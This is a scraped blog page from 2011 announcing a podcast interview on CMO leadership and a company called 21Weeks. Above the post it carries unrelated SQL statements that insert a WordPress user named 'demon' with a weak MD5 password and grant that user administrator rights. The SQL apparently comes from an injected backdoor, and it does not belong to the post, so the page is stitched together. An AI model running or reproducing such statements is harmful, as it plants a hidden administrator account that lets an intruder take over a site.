INSERT INTO `databasename`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('444', 'demon', MD5('demon'), 'Your Name','test@AndreyEx.ru', 'https://1.com', '2011-06-07 00:00:00', '', '0', 'Your Name'); INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '444','wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}'); INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '444','wp_user_level', '10');

Ideasicle Podcast Interview

Posted by on Mar 1, 2011 in Change, Change Agent | 0 comments

Listen to my recent podcast interview with Will Burns of Ideasicle.com. On the show we cover:

  1. Discuss my instrumental role in launching the controversial “Product First” campaign at PTC.
  2. The importance of a CMO not only being creative, but hand picking the right team around him or her.
  3. CMO as “creative director” for the brand.
  4. Explain how to get people in a large organization to rally around a single, transformative brand idea.
  5. About my current company, 21Weeks, and how it is transforming brands today.

Listen Now >

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